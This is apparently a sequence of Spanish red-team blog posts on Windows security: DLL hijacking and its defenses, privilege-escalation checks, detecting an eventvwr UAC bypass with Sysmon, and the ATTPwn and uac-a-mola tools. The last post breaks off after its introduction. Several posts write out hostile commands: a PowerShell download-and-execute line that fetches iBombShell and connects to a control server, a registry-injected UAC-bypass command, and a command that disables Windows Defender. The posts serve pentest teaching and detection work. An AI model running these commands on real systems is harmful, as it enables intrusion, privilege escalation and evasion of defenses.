Qué es una DLL y en qué consiste el DLL Hijacking

La primera vez que nos topamos con el concepto de DLL Hijacking puede resultar un poco tedioso o difícil de comprender. Es habitual acudir a tutoriales y vídeos sobre este ataque para luego replicarlo - y en El lado del mal se ha hablado muchas veces de DLL Hijacking - y comprender en qué consiste. Aunque esto es una buena idea, creo que merece la pena invertir algo de tiempo en comprender algunos fundamentos teóricos relacionados con las DLLs y la forma en la que impacta en la seguridad de Windows.

Figura 1: Qué es una DLL y en qué consiste el DLL Hijacking

Además, como los más expertos saben, esta técnica de DLL Hijacking es una de las utilizadas en esquemas de elevación de privilegios, bypass de AMSI, evadir AppLocker, y, por supuesto, para escapar del User Account Control, en proyectos de Red Team que necesitan de realizar un Hacking de Windows, por lo que hay que conocer los detalles de esta técnica para avanzar en nuestros proyectos de Ethical Hacking.

Figura 2: Libro de Hacking Windows en 0xWord
de Valentín Martín, Carlos García y Pablo González

Para entender lo que es una DLL y la función que cumple vamos a prestar atención a su nombre: Biblioteca de Enlace Dinámico. Si programas en algún lenguaje compilado, como los de la familia del lenguaje de programación C, sabrás que una biblioteca no es otra cosa que un archivo que contiene código (como un conjunto de funciones) ya compilado y listo para ser usado en nuestros propios desarrollos.

Esto nos permite reutilizar código optimizado, testado y bien documentado para ahorramos trabajo y no “reinventar la rueda” como se suele decir. Para hacer uso de una biblioteca, un programa llamado "linker" tiene que enlazar (o vincular) esa biblioteca con nuestro código. Este enlace puede hacerse de dos formas distintas: de forma estática (Static Linking) o de forma dinámica (Dinamic Linking).

Enlace estático (Static Linking)

En este caso el "linker" enlaza la biblioteca justo después de compilar nuestro código y como resultado de este enlazamiento se obtiene el ejecutable final. A efectos prácticos se puede entender este proceso como si el "linker" hiciese un “copia y pega” de las funciones de la biblioteca estática directamente a nuestro código.

Esta forma de enlazar una biblioteca tiene sus ventajas y sus inconvenientes. Imagina que en tu sistema están corriendo diez programas que hacen uso de una misma biblioteca. Cada uno de esos programas tendría que haberse compilado y enlazado con la biblioteca, aumentando el peso de cada ejecutable en el disco y el espacio que ocupa el proceso en la memoria. Que cada uno de estos programas cargue la misma biblioteca en memoria es algo que no parece muy eficiente, por esta razón existe el enlace dinámico.

Enlace Dinámico (Dinamic Linking)

Para solucionar esta duplicidad de bibliotecas cargadas en la memoria y obtener ejecutables más ligeros se hace uso de bibliotecas compartidas o de enlace dinámico: las famosas DLLs de Windows o los archivos .so (shared object) que tan importantes son también para la seguridad y la explotación de vulnerabilidades en GNU/Linux. 

Figura 3: Diferencias entre el enlace estático y el enlace dinámico de bibliotecas

En esencia, estas bibliotecas se cargan en un espacio propio de la memoria del sistema y pueden ser accedidas por uno o varios procesos en tiempo de ejecución. Siguiendo con el ejemplo anterior; esos diez procesos harían uso de una misma biblioteca compartida que se ha cargado una sola vez en una partición de la memoria. En la figura anterior se ve más claramente las diferencias entre estas dos formas de vinculación:

La búsqueda predefinida de DLLs en Windows

En posteriores artículos de esta serie profundizaremos más en la manera en la que se vinculan los ejecutables de Windows con las DLLs, pero de momento nos basta con saber que hay dos formas de hacerlo: mediante la vinculación implícita y la explícita.

• Vinculación implícita (Implicit linking): las DLLs se cargan en la memoria a la vez que el programa que las usa. Es decir, Windows busca las DLLs que tiene que cargar al ejecutar el programa.

Figura 4: Prototipos para LoadLibraryW y LoadLibraryExW

• Vinculación explícita (Explicit linking): en este caso el sistema carga las DLLs cuando son llamadas por el programa mientras éste se está ejecutando. Esto se consigue mediante el uso de las funciones LoadLibrary y LoadLibraryEx cuyos prototipos son los de la figura anterior.

Lo importante aquí es el parámetro lpLibFileName que reciben estas funciones y que puede hacer referencia a la ruta absoluta o también al nombre de la DLL que el sistema debe cargar. Si la DLL se vincula implícitamente o si en la vinculación explícita no se especifica una ruta en la función LoadLIbrary/LoadLibraryEx, el sistema operativo Windows se encarga de buscar la DLL siguiendo un orden preestablecido. Conocer este comportamiento de Windows es el primer paso para entender el DLL Hijacking, por eso merece la pena prestarle atención a la siguiente figura:

Figura 5: Orden de búsqueda de DLLs de Windows

Antes de buscar la DLL en los archivos del sistema Windows hace dos cosas. Primero comprueba si la DLL está ya cargada en memoria. En caso afirmativo el proceso de búsqueda, se para aquí. Después comprueba si la DLL pertenece a una lista conocida como "Known DLLs". Si está en esa lista, el sistema usará su propia copia de la DLL (incluyendo las dependencias de esa DLL). Puedes encontrar la lista de los "Known DLLs" para tu sistema en el registro:

Figura 6: HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs.

En cualquiera de estos dos casos la DLL se vinculará con el programa y no existirá oportunidad para un ataque de DLL Hijacking. De otra forma, cuando la DLL no está cargada en memoria y no pertenece a las Known DLL Windows buscará la DLL en los directorios en el orden especificado en la figura anterior.

Figura 7: Máxima Seguridad en Windows Gold Edition
de Sergio de los Santos en 0xWord

De todos estos directorios los más interesantes de cara a un ataque DLL Hijacking son los sombrados en rojo: el propio directorio de la aplicación y aquellos directorios definidos en la variable del sistema %PATH%, ya que son aquellos que tienen mayor probabilidad de contar con permisos mal configurados.

¿Qué es el secuestro de DLL o DLL Hijacking?

Llegados a este punto podemos definir el DLL Hijacking como el abuso de esta búsqueda sistemática de Windows mediante la detección de permisos mal configurados en los directorios en los que se buscan las DLLs. El objetivo de un ataque de DLL Hijacking es aprovechar permisos de escritura en uno de estos directorios para depositar en él una DLL con el mismo nombre que la DLL legítima pero que contenga código malicioso. 

De esta manera el sistema encontrará y cargará esa DLL antes que la DLL legítima que se pretendía cargar. El código malicioso que se introduce en la DLL suele tener el objetivo de elevar privilegios en el sistema, si el proceso que carga esa DLL se ejecuta con privilegios altos, o de generar persistencia si es un proceso que se ejecuta frecuentemente o al iniciarse el sistema.

Figura 8: DLL Hijacking para hacer un bypass de UAC en Windows 10
Aunque el concepto es siempre el mismo, se puede hablar de diferentes variantes o técnicas de DLL Hijacking. Al buscar información sobre este ataque es probable que te encuentres con términos como DLL Sideload o Phantom DLL Hijacking:

• DLL Sideload: Cuando se cuenta con permisos de escritura en un directorio que aparece en el orden de búsqueda antes que el directorio donde se encuentra el DLL legítimo. En ese directorio se pondrá la DLL maliciosa.

• Phantom DLL Hijacking: Cuando el DLL no se encuentra en ninguno de los directorios donde se busca y se tienen permisos de escritura en alguno de estos directorios, por lo que se depositará la DLL maliciosa ahí.

Cómo protegerse del DLL Hijacking

Desde el punto de vista de un programador puedes proteger tu programa del DLL Hijacking teniendo en cuenta algunas buenas prácticas de desarrollo:

1) Usar el Full Path de la DLL en las funciones LoadLibraryW / LoadLibraryA y consultar la documentación de las funciones LoadLibraryExW / LoadLibraryExA ya que permiten usar flags para modificar el comportamiento de búsqueda de DLLs por defecto. También hay que tener en cuenta que, cuando la DLL que se va a cargar tiene dependencias, éstas dependencias van a ser buscadas por Windows mediante la búsqueda sistemática habitual incluso cuando hemos especificado el Full Path para esa DLL.

2) Siempre que sea posible se deberían usar DLL firmadas y verificar esa firma antes de cargar la DLL en la memoria. Otra opción es comprobar el hash de la DLL para evitar cargar un DLL cuya integridad ha sido comprometida.

3) No es recomendable instalar programas en la raíz de una partición (por ejemplo: “C:\”) ya que por defecto los directorios creados en la raíz conceden permisos de escritura a cualquier usuario autenticado y es fácil olvidar configurarlos correctamente.

Y, por supuesto, una vez desarrollada tu aplicación conviene analizar su comportamiento para saber si es vulnerable al DLL Hijacking. Esto mismo es lo que haremos en el siguiente artículo de la serie, junto a una demostración del ataque en una aplicación vulnerable.

Saludos,  

Autor: Roberto Aranda  (Conseguir 100 Tempos para MyPublicInbox gratis con ESET)

Contactar con Roberto Aranda

PrivEsc: Técnicas para elevar privilegios en Windows en un test de intrusión (1 de 2) #pentest

Cuando una máquina es comprometida, en un ejercicio de Red Team o en un pentest de un Ethical Hacking, comienza un proceso de post-explotación. Generalmente, es una buena praxis recopilar información de dicha máquina y de obtener el mayor privilegio posible en la máquina, es decir, una escalada de privilegios local. Luego podríamos hablar del ámbito del directorio activo, pero hoy nos quedaremos en algunos tricks para la escalada de privilegios en local. 

Figura 1: PrivEsc: Técnicas para elevar privilegios

en Windows en un test de intrusión (1 de 2) #pentest

Ya hemos hablado en el blog de algunas vías para escalar privilegios o vulnerabilidades publicadas como, por ejemplo, el CVE-2019-14969 en Windows Server 2016 y los enlaces simbólicos. Otro ejemplo del que hablamos es el de ALPC y la publicación de SandboxEscaper en Twitter para sistemas x64. Otro CVE-2019-0841 comentamos para Windows 10. Así podemos sacar un gran número de vulnerabilidades que han permitido escalar privilegios en un sistema Windows.

Figura 2: Hacking avanzado en el Red Team con Empire & iBombShell

Quizá lo más interesante ante un ejercicio de escalada de privilegio sea disponer de una serie de vías a examinar. Intentar encontrar una vulnerabilidad o la falta de un hotfix está bien, pero seguramente una mala configuración o el aprovechamiento de un descuido en la administración o configuración de la máquina puede ser igual o más viable.

Figura 3: Presentación de UAC-a-Mola para hacer UAC Bypass

Este mismo año se comentó un ‘trick’ que permitía utilizar la variable $PATH para lograr una escalada de privilegios, eso sí con su escenario concreto de actuación posible. Otro ejemplo, pero en la infraestructura del dominio, es el del abuso a Active Directory con ACLs y ACEs.  Hoy quería enumerar algunas cosas a buscar dentro del proceso de escalada de privilegios en entornos de Hacking Windows.

Figura 4: Libro de Hacking Windows

- Buscar vulnerabilidades: Lo primero es buscar vulnerabilidades en el sistema. La falta de instalaciones de actualizaciones es una de los focos principales donde buscar. La recopilación de los KB y hotfixes con, por ejemplo, el comando systeminfo ayuda a ver lo que tenemos instalado y lo que nos falta. 

 

- Buscar exploits: El uso de herramientas automáticas que permitan relacionar los hotfixes que faltan con las vulnerabilidades existentes y que pueden ser aprovechados para lograr la escalada es importante. Por ejemplo, herramientas como Windows Exploit Suggester o el módulo post/multi/recon/local_exploit_suggester es un ejemplo. 

Figura 5: Revisión de vulnerabilidades con Windows Exploit Suggester

- Búsqueda de configuraciones inseguras: Otra de las bazas para encontrar vulnerabilidades y configuraciones débiles en el sistema son los script como Sherlock. No es el único y cada vez hay más soluciones como ésta. Interesantes para automatizar las acciones. Otro interesante es la aplicación BeRoot de la cual hemos hablado en el blog.  

 

Figura 6: Ejemplo de uso de BeRoot en Windows 10

 

- Una de las cosas interesantes es saber hilar y relacionar debilidades en el sistema, así como buscarlas. Por ejemplo, el repositorio de PowerUp, dentro de Powersploit, nos permite utilizar scripts de Powershell que facilitar encontrar debilidades en el sistema.

Figura 7: Pentesting con Powershell 2ª Edición

- Servicios Inseguros: La técnica de los servicios que no tienen su ruta al binario entrecomillada o “unquoted service” es una de las que también se deben revisar. Ya se ha hablado en el blog de ello y herramientas como Metasploit y Empire disponen de un módulo para explotar la debilidad.

Figura 8: Servicios creados sin usar comillas. Error en servicios de Micorosoft

- DLL Hijacking: Es una técnica que se utiliza en muchos ámbitos. Lo hemos visto en diferentes técnicas de bypass de UAC y también lo vemos en la escalada de privilegios. Por ejemplo, un servicio que ejecuta como SYSTEM y en la carpeta dónde se encuentra el binario se “echa en falta” una DLL. Si en esa carpeta podemos escribir, podemos tener la escalada cuando el servicio se reinicie. Una técnica de la que hemos hablado ya y que podemos revisar en el post sobre este bypass UAC.

Figura 9: Librerías NOT FOUND  secuestrables con DLL Hijacking

- Los permisos en las carpetas: Esto es algo fundamental. Las instalaciones de aplicaciones, la manipulación de carpetas en cadena, la manipulación de permisos por parte de usuarios privilegiados. Todo esto puede suponer una mala configuración en lo que a permisos se refiere. Hay servicios o aplicaciones privilegiadas que pueden ser sobrescritas, cuando no estén en funcionamiento, porque la carpeta dónde se encuentran no tiene una configuración de permisos adecuada.

Figura 10: Servicio inseguro en una ubicación que puede ser sobrescrito 

- Las instalaciones desatendidas: pueden ayudar al pentester, ya que podemos encontrar ficheros XML con contraseñas en dichos ficheros. Si estos ficheros están al alcance de la lectura del usuario sin privilegios, podemos tener problemas.

Figura 11: Contraseñas de administración en ficheros unattended.xml 

- El administrador de credenciales de Windows: ¿Qué ocurre cuando ejecuto cmdkey en una shell o una powershell? Puede ser interesante. Al final las credenciales quedan cacheadas y pueden ser utilizadas en descuidos por un pentester en ciertos entornos.

Podemos hacer la lista de cosas que mirar mucho más grande. Cuando alguien está aprendiendo sobre las escaladas de privilegios quiere un método eficaz cien por cien, pero aquí no lo tenemos. Debemos revisar muchas cosas y, cuantas más cosas podamos revisar, mayor será la probabilidad de encontrar el camino hacia la escalada. En la segunda parte de este artículo vamos a ver un escenario de ejemplo para ver cómo encadenar estas opciones.

 

Saludos,

Pablo González Pérez (@pablogonzalezpe), escritor de los libros "Metasploit para Pentesters: Gold Edition", "Hacking con Metasploit: Advanced Pentesting" "Hacking Windows", "Ethical Hacking", "Got Root",  “Pentesting con Powershell (2ª Edición)”, "Pentesting con Kali Silver Edition" y de "Empire: Hacking Avanzado en el Red Team", Microsoft MVP en Seguridad y Security Researcher en el equipo de "Ideas Locas" de la unidad CDCO de Telefónica.  Para consultas puedes usar el Buzón Público para contactar con Pablo González - Conseguir 100 Tempos Gratis en MyPublicInbox

 Contactar con Pablo González

Hacking Windows: Cómo detectar un Bypass de UAC Fileless con Sysmon

Sysmon es una de esas herramientas que ayudan y mucho a dar respuestas y a hacer "Threat Hunting". Es una herramienta potente que sigue siendo actualizada e, incluso, se siguen añadiendo tipos de eventos. La última versión data de mediados de octubre de 2020, por lo que se puede ver que está joya del Sysinternals está más viva que nunca.

Figura 1: Hacking Windows: Cómo detectar un Bypass de UAC Fileless con Sysmon

En el artículo de hoy quería hablar un poco de Sysmon y de cómo aplicarla para la detección de bypasses de UAC, algo que hemos hablado y mucho en el pasado. De todo aquel trabajo de aprendizaje y de investigación surgió nuestra herramienta uac-a-mola. Además, estuvimos interesados en el mundo que rodeaba a las técnicas fileless allá por mediados del año 2016, cuando estudiábamos el primer bypass de UAC basado en fileless, el del eventvwr. 

Figura 2: uac-a-mola en GitHub

Después muchos artículos hablando de bypasses de UAC y herramientas como uac-a-mola. Hoy quería cambiar las tornas y entender un poco el funcionamiento de sysmon en este ámbito. Lo primero es indicar qué es sysmon o cómo podemos definirla tal y como viene en su documentación.

Figura 3: Hacking Windows: "Ataques a sistemas y redes Microsoft"

Sysmon es un servicio y driver de Windows que permite monitorizar y registrar la actividad del sistema. ¿Qué monitoriza? Casi acabaríamos antes indicando el qué no monitoriza: creación de procesos, conexiones de red, cambios en los atributos de tiempo de los ficheros, modificaciones y adiciones en el registro, creación de ficheros, etcétera. Es una herramienta perfecta para recopilar información de eventos en un sistema, poder identificar acción anómala o maliciosa y entender cómo el atacante o el malware ha operado en la red.

Detectando bypass UAC eventvwr

Para empezar a entender a sysmon lo mejor es jugar con él en un entorno de pruebas que tengamos a mano. El volumen de logs que vamos a empezar a recoger es importante, aunque dependerá de la configuración que le demos al fichero. En el siguiente enlace se puede ver un ejemplo de fichero de configuración dónde se pueden entender muchas cosas interesantes como, por ejemplo, cómo funcionaría una regla qué debe alertar porque se han producido varios eventos, como “jugar” con los OR y los AND, y cómo agrupar todo para que sea más legible. De este tipo de ficheros hay varios por Internet y son realmente interesantes. 

Figura 4: Fichero de configuración de sysmon de ejemplo

A continuación, os muestro un pequeño ejemplo de fichero de configuración. Los eventos de Tipo 1 y Tipo 5 de sysmon son monitorizados, pero si queremos ampliar con otro tipo de eventos deberemos indicarlo. Lo que vamos a hacer es crear un archivo de configuración indicando un grupo de reglas, cuyo nombre es “Registry”. 

Figura 5: Configuración de sysmon

El OR indica que registraremos cada evento o “TargetObject” por separado. Si indicáramos AND sobre un grupo de reglas o sobre una regla, estaríamos indicando que deben suceder todos los eventos de ese “conjunto” para registrar la acción. 

Figura 6: Ejecución de sysmon con el fichero de configuración

En este caso sencillo, vamos a notificar los cambios que se produzcan sobre cualquier hive del registro que contenga “\shell\open\command”. Esto es porque el bypass de UAC de eventvwr modificada dicho hive en HKCU.  Con esta configuración sencilla, instalamos sysmon. Hay que recordar que éste será persistente a los reinicios. 

Figura 7: Bypass UAC funcionando

Ahora, invocamos como vemos en la Figura 7 el bypassuac_eventvwr de Metasploit. Suponemos que tenemos una sesión en la máquina Windows donde se encuentra sysmon y vamos a realizar un bypass de UAC de este tipo. Como podemos ver en la imagen anterior, el bypass tiene éxito y obtenemos una nueva sesión.

¿Qué ha ocurrido?

Sysmon ha registrado y clasificado la información. Podríamos buscar por eventos de tipo 12, 13 y 14 que son los referentes a acciones sobre el registro de Windows. Si miramos el visor de eventos, sin ningún tipo de búsqueda “avanzada” o ningún filtro aplicado, nos encontraremos con un primer evento que tiene el siguiente string: “bypassuac_eventvwr”.

Figura 8: Máxima Seguridad en Windows Gold Edition
escrito por Sergio de los Santos

Si revisamos el fichero de configuración, el “TargetObject” tiene un “name” que apunta a ese nombre. Si nos fijamos es un evento de Tipo 13, por lo que tenemos una modificación o un set de un valor. Podemos observar el PID del proceso, en este caso una Powershell. Además, vemos en qué clave se hace la modificación y nos encaja con el bypass de UAC de tipo eventvwr.  Lo curioso es que en ‘(Default)’ se está metiendo una instrucción que ejecuta una Powershell y que leerá otra clave llamada ‘RuKWUlkO’. ¿Qué hay ahí?

Figura 9: Visor de Eventos del bypass de UAC

Si miramos el siguiente evento, también de Tipo 13, se ha creado una clave en ‘…\mscfile\shell\open\command’ con nombre ‘RuKWUlkO’ y se ha volcado en dicha clave un código en Powershell, el cual se puede observar. Ese código será el código que devolverá el Meterpreter a nuestro Metasploit, una vez que se ha el bypass de UAC con eventvwr a través del registro.

Figura 10: Evento Tipo 13

Si se revisan los procesos que ocurren ahora de Tipo 5 encontraremos una invocación al binario: c:\windows\system32\eventvwr.exe. Lo cual hace ver que en poco tiempo se ha modificado el registro en la ruta concreta de este bypass y se hace una invocación del binario para que funcione. Si seguimos avanzando en el visor de eventos vamos a encontrarnos con más información. Encontramos un nuevo evento Tipo 13, en el que se modifica la clave ‘(Default)’ y se deja el valor por defecto que hubiera antes. Claro, ya se ha llevado a cabo el bypass de UAC. 

Figura 11: Modificación de la clave (Default)

Por último, se puede observar un evento Tipo 12 donde se elimina la clave ‘RuKWUlkO’ que almacena el código del Meterpreter. Hay que indicar que en cada ejecución del módulo de Metasploit el nombre de la clave es aleatorio, por lo que si probáis en vuestro entorno veréis otro nombre de clave.

Figura 12: Evento Tipo 12 con eliminación de la clave

Es interesante para aprender en la parte ofensiva echar un ojo a la parte del rastro y lo que se puede registrar o cómo se puede detectar cierto tipo de técnicas. Todo es parte del aprendizaje continuo en el ámbito del Ethical Hacking. Las posibilidades con sysmon son infinitas.

Saludos,

Pablo González Pérez (@pablogonzalezpe), escritor de los libros "Metasploit para Pentesters", "Hacking con Metasploit: Advanced Pentesting" "Hacking Windows", "Ethical Hacking", "Got Root",  “Pentesting con Powershell”, "Pentesting con Kali Silver Edition" y de "Empire: Hacking Avanzado en el Red Team", Microsoft MVP en Seguridad y Security Researcher en el equipo de "Ideas Locas" de la unidad CDCO de Telefónica.  Para consultas puedes usar el Buzón Público para contactar con Pablo González - Conseguir 100 Tempos Gratis en MyPublicInbox

 Contactar con Pablo González

ATTPwn: Nuevas funciones de Bypass UAC y Windows Defender

Como ya sabéis nuestra querida herramienta ATTPwn, que podéis encontrar en el repositorio de Github, ha viajado por distintos eventos este verano como BlackHat, DEFCON, 8dot8 edición Las Vegas y recientemente a la Ekoparty. Hace poco más de una semana publicábamos en el blog como implementar vuestro propio script.  Pero no solo eso, ya que hemos seguido avanzando en ella, así que os vamos a actualizar sobre ella.

Figura 1: ATTPwn: Nuevas funciones de Bypass UAC y Windows Defender

Hace unos días, se ha liberado una nueva actualización que conlleva la integración de nuevas funciones, que explicaremos a continuación, la reparación de algunos bugs y la simplificación de la visualización de resultados en la función Get-Users.

Explicación de las funciones:

1) Defender Realtime: Permite al usuario evadir la protección del antivirus de Microsoft desactivando Windows Defender. Como pre-requisito debe ser ejecutada en un sistema operativo Windows 10 cuya versión sea anterior a la actualización 1903 de Windows Update que incluye Tamper Protection, o en la cual, dicha protección esté deshabilitada.

Figura 2: Función disable-realtime

Para que esta función tenga éxito, deberemos tener privilegios de administrador. Por ello, se comprueba el ID del grupo al que pertenece el usuario que ejecuta la función. Si pertenece al grupo de administradores, cambiará el estado de protección en tiempo real valiéndose del comando de gestión de preferencias de Windows Defender, con la instrucción:  Set-MpPreference -DisableRealtimeMonitoring $true Si ejecutamos la función con un nivel de privilegios medio-bajo, el resultado es el siguiente:


Figura 3: Se necesitan privilegios de administrador
Sin embargo, si ejecutamos la función desde una consola con privilegios de administrador, este será el resultado de su ejecución:


Figura 4: Deshabilitado de Windows Defender correcto con ATTPwn
2) Environment Injection: Esta función ejecuta un bypass del User Account Control mediante la creación de la ruta hkcu/environment. A continuación, se anida una propiedad al registro, cuyo valor es un comando. Dicho comando se ejecutará cuando se lance Scheduled Tasks y abrirá una shell con privilegios de administrador. Esta consola llamará a un nuevo warrior de ATTPwn, quien ejecutará otra función (la que el usuario requiera).

Figura 5: Función environment-variable-injection

Esta función utiliza variables de entorno en un proceso para ejecutar acciones con integridad alta, en este caso Scheduled Tasks. Para ello crearemos el valor %windir% en el registro HCKU:/Environment. Este valor contendrá la siguiente instrucción:

cmd /K c:\windows\system32\windowspowershell\v1.0\powershell.exe -W maximized -C "+$command+" && REM

Dicha instrucción abrirá la shell o consola, mencionada anteriormente y ejecutará el comando $command que hayamos declarado. En este caso, como ya hemos comentado, la invocación de un warrior de ATTPwn. Para lanzarlo, ejecutaremos schtasks y obtendremos un proceso de integridad alta.

Figura 6: Ejecución de Environment Injection

3) Bypass_scanbuffer: Ejecuta un bypass de AMSI, basado en el “abuse” del Scanbuffer. Hemos adaptado la función que hicimos para ibombshell, y la diferencia más clara es la comunicación con nuestro Command&Control para devolver los resultados de la función y determinar si ha ido bien o no el plan. 

Figura 7: Función Bypass_Scanbuffer

Con esta nueva función en ATTPwn podremos lanzar planes más complejos, en el siguiente vídeo podéis observar cómo el antivirus “caza” un plan donde intentamos elevar una shell con el script de wsreset para posteriormente volcar las credenciales con powerdump.

Figura 8: PoC ATTPwn con wsreset y Powerdump cazado

Para evadir las medidas de Windows Defender, será necesario añadir como primeras tareas de nuestro plan un bypass para estas medidas, en este caso nos centramos en Scanbuffer.

4) wsreset: Es un bypass de UAC también adaptado de ibombshell. Este bypass de UAC se basa en la debilidad de wsreset.exe donde hay que comprobar la propiedad “autoelevated”

Figura 9: Función wsreset en ATTPwn

Una vez hacemos el bypass, obtendremos una nueva consola con privilegios, la cuál se genera con el mismo identificador de warrior. En la demostración veremos como hay dos tarjetas con el mismo warrior, pero con tareas diferentes, la primera tarjeta tendrá la tarea de scanbuffer y la segunda la elevación de la consola y el volcado de las credenciales.

Figura 10: Bypass scanbuffer + wsreset + powerdump

5) copy_svchost: Consiste en un movimiento lateral que se aprovecha de la cuenta de administrador siempre que esté habilitada y coincida tanto el usuario como la contraseña en el equipo hacia dónde queremos hacer dicho movimiento lateral.

Figura 11: Función svchost parte 1

Esta parte del código es la función principal del script donde copiamos una cmd.exe con el nombre svchost.exe. En esta segunda parte, utilizamos el givemedata para recoger información que tiene el datastore para este warrior, en este caso necesitamos direcciones IP para poder hacer el movimiento lateral.

Figura 12: Función svchost parte 2

En el caso de ejemplo añadimos manualmente la dirección IP del movimiento lateral a nuestro datastore para que el warrior tarde menos en hacer el proceso, pero se puede utilizar la función de portscan la cual hará un escaneo de la interfaz de red para buscar y guardar otras máquinas que estén levantadas para intentar hacer ese movimiento lateral con otras máquinas de la red.

Figura 13: ATTPwn  PoC Bypass scan buffer + enviroment + get users + copy_host

En próximas actualizaciones veremos la implementación de nuevas características con el objetivo de que faciliten la integración de funciones de explotación, bypass, elevación de privilegios y post-explotación en la herramienta por parte de cualquiera que quiera aportar al proyecto de ATTPwn. 

Figura 14: Libro de Empire: Hacking Avanzado en el Red Team

escrito por Pablo González en 0xWord

Y si quieres profundizar en todo lo que estamos haciendo, con estos frameworks para los equipos Red Team, os recomiendo la lectura del libro de Empire: Hacking Avanzado en el Red Team de Pablo González donde se habla de Empire, UAC-A-Mola e iBombShell, frameworks de pentesting que complementan perfectamente a lo que estamos haciendo con ATTPwn.

Autores:

Luis E. Álvarez, desarrollador y miembro del equipo Ideas Locas CDCO de Telefónica.

Víctor Rodríguez Boyero, desarrollador y Security Researcher en el equipo de Ideas Locas de CDCO de Telefónica.

UAC-a-mola^3: Evolucionando hacia el Meterpreter #pentest #pentesting

En la pasada RootedCON de Valencia, mi compañero Pablo González volvió a sacar uac-a-mola a pasear, el proyecto que empezó en el 2017 en nuestro equipo de Ideas Locas, y que en está ocasión mostró varias formas de usar la herramienta.

Figura 1: UAC-a-mola^3: Evolucionando hacia el Meterpreter #pentest #pentesting

En este artículo de hoy vengo a hablar de uac-a-mola^3, una versión ‘ligera’ para el Meterpreter de Python, cuyo código ya se encuentra disponible en el repositorio de Eleven Paths en GitHub, dentro de la carpeta uac-a-mola^3. Una herramienta que nosotros utilizamos en todos nuestros proyectos de Ethical Hacking.

Figura 2: Libro de Ethical Hacking de Pablo González

Voy a contar cómo introducir los códigos en nuestra instalación de Metasploit, cómo funciona y finalmente una prueba de concepto. ¡Empecemos!

Cómo agregar el código al proyecto Metasploit

La extensión para el Meterpreter necesita varios ficheros de código, y cada uno se dirige a una carpeta distinta, dentro del GitHub se puede ver, además el código ya está distribuido siguiendo las necesidades, las rutas son las siguientes:

 • El “despachador de comandos” se tiene que situar en la siguiente ruta: 

/opt/metasploit-framework/embedded/framework/lib/rex/post/meterpreter/ui/console/command_dispatcher 

• La extensión del meterpreter en la parte del atacante, se debe situar en la ruta: 

/opt/metasploit-framework/embedded/framework/lib/rex/post/meterpreter/extensions 

• Y por último el código de la extensión que se va a ejecutar en el objetivo: 

/opt/metasploit-framework/embedded/lib/ruby/gems/2.5.0/gems/metasploit-payloads-1.3.70/data/meterpreter/

Las rutas están basadas en una instalación de Metasploit V5 en Ubuntu, según futuras actualizaciones, las rutas pueden variar ligeramente. Por ejemplo la carpeta 2.5.0 puede pasar a ser 2.6.0, etcétera.

Cómo funciona uac-a-mola^3

Cuando nosotros recibimos una sesión del Meterpreter, tenemos que cargar el código de la extensión en memoria con el comando:

load uacamola

En ese momento podremos iniciar la extensión con el comando:

start_uacamola

Y ya se nos facilitará un nuevo prompt con el que trabajar. El flujo de los comandos será el siguiente: que describo. El código de la carpeta command_dispatcher recibe el comando a ejecutar por parte del usuario, y se lo pasa a la extensión de Ruby (carpeta extensions) que se encargará de encapsular el paquete y enviarlo a la extensión de Python, ya en la máquina víctima, donde se ejecutará, y cuyo resultado se empaquetará y será devuelto a la extensión de Ruby, de nuevo en la máquina del atacante (salvo los comandos help y exit que no saldrán de la máquina del atacante, al ser locales).

Figura 3: Gráfico a alto nivel de las partes de uac-a-mola^3

Un flujo que es bastante fácil de entender, ya que no va más allá de un cliente/servidor clásico utilizado en muchos de los sistemas de C&C.

Uac-a-mola^3 PoC

Llega la hora de probar la extensión, partimos de tener una sesión de Meterpreter activa, y pasamos a cargar la extensión y usar el comando de ayuda. Recuerda usar el autocompletado para ayudarte.

Figura 4: Carga de uacamola y ayuda

La primera prueba es ejecutar autoelevate_search, que recibirá una ruta, de la cuál devolverá un listado con el nombre de los binarios que tengan el atributo AutoElevate.

Figura 5: Resultado de autoelevate_search

Por último, voy a mostrar una prueba de concepto que va a involucrar también a otra de nuestras herramientas, iBombShell. En esta ocasión, haré uso del bypass UAC de tipo fileless a través del binario WSReset, basta con ejecutar el comando con la instrucción que quieres que corra en el equipo víctima, en este ejemplo:

fileless_wsreset c:\windows\system32\windowspowershell\\v1.0\powershell.exe -C "iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/ElevenPaths/ibombshell/master/console');console -Silently -uriConsole http://IP:PORT"

Y en la consola de iBombShell, aparece un Warrior con altos privilegios (el símbolo * es el indicador).

Figura 6: Obteniendo el "admin" Warrior en iBombShell

La prueba de concepto se puede ver en el siguiente vídeo que hemos grabado, que se entenderá mejor en solo un minuto y algo.

Figura 7: video PoC uac-a-mola^3

Como podéis ver, es una forma de usar uac-a-mola desde un equipo remoto, y facilitar así el hacer distintos bypass de UAC a través de Meterpreter. Eso es todo por hoy, pero os dejo aquí todas las referencias sobre UAC-A-Mola y UAC en Windows que ya hemos escrito bastante sobre este proyecto:

- [GitHub] UAC-a-mola
- [WhitePaper] UAC Bypass & Research with UAC-A-Mola
- [BlogPost] UAC: Control de Cuentas de Usuario en Windows
- [BlogPost] 2017, el año que bypasseamos UAC peligrosamente
- [BlogPost] UAC-A-Mola: Framework para Investigar Bypasses de UAC
- [BlogPost] UAC-A-Mola ya lo infirió
- [BlogPost] Cómo construir un modulo para UAC-A-Mola Framework
- [BlogPost] Windows 10: ByPass de UAC en con WSREST en UAC-A-Mola
- [BlogPost] UAC-A-Mola^2 Evolution
- [BlogPost] BlackHat Arsenal Tools for Research: UAC-A-Mola
- [Libro] Máxima Seguridad en Windows
- [Libro] Pentesting con PowerShell

Autor: Josué Encinar García (@JosueEncinar), autor del blog BoomerNiX y Security Researcher en ElevenPaths y en el equipo de Ideas Locas de la unidad CDO de Telefónica.

Windows 10: Bypass de UAC con "wsreset" en uac-a-mola

Vuelta al trabajo después de unos cuantos días de evasión. Días de desconexión que han hecho que pueda ver ciertas cosas con otros puntos de vista. También días que permiten echar la vista atrás, todo lo trabajado, todo lo que hemos ido haciendo en los últimos meses y años en Telefónica. Días de desconexión para seguir echando de menos lo que hacemos, lo que nos gusta hacer. Así han sido estos días.

Figura 1: Windows 10: Bypass de UAC con "wsreset" en uac-a-mola

